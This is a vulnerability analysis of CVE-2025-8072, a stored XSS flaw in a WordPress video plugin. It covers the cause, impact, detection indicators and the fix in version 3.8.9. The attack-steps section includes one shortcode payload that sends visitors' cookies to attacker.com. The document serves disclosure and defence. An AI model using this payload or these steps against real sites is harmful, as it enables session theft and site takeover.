CVE-2025-8072: 
WordPress vulnerability analysis and mitigation

CVE-2025-8072 is a Stored Cross-Site Scripting (XSS) vulnerability in the Target Video Easy Publish plugin for WordPress (also known as Brid Video Easy Publish). It affects all versions up to and including 3.8.8, stemming from insufficient input sanitization and output escaping of the placeholder_img parameter. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. The vulnerability was published on January 28, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the BridShortcode.php file, specifically in the handling of the placeholder_img shortcode parameter, which is neither properly sanitized on input nor escaped on output before being rendered in the browser (Wordfence, WordPress Plugin Trac). Exploitation requires an authenticated session with at least Contributor-level privileges, and the injected payload is stored server-side, executing in the context of any user who views the compromised page. The fix was applied in a subsequent plugin changeset (WordPress Plugin Changeset).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all visitors — including administrators — without any further interaction from the attacker. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further compromise of the WordPress site through admin-level actions triggered by the injected script. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's privilege boundary to affect other users (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-8072. The EPSS score is approximately 0.03% (0.000300), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Target Video Easy Publish (Brid Video Easy Publish) plugin version 3.8.8 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Craft malicious shortcode: Create or edit a post/page using the plugin's shortcode, injecting a malicious payload into the placeholder_img parameter, e.g., [brid video="..." placeholder_img="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or save the content: Submit the post/page containing the injected shortcode. The malicious script is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the browser renders and executes the malicious JavaScript, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing POST requests to post/page editing endpoints (e.g., /wp-admin/post.php) from Contributor-level accounts containing suspicious placeholder_img values with HTML tags or JavaScript.
• Database: WordPress wp_posts or wp_postmeta tables containing shortcode entries with placeholder_img values that include <script>, onerror=, javascript:, or other XSS payloads.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the plugin's shortcode, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to BridShortcode.php or other plugin files if an attacker escalated to file write access after initial XSS exploitation.

Users should update the Target Video Easy Publish (Brid Video Easy Publish) plugin to version 3.8.9 or later, which includes the fix applied in the plugin changeset addressing the placeholder_img parameter sanitization (WordPress Plugin Changeset, WordPress Plugin Page). As an interim measure, site administrators can restrict Contributor-level user registration or limit who can publish content until the plugin is updated. Implementing a Web Application Firewall (WAF) with XSS filtering rules can also help reduce risk.

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for the period of January 26–February 1, 2026 (Wordfence Blog). Red Hat also tracked the CVE in their security advisory database (Red Hat CVE). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been observed.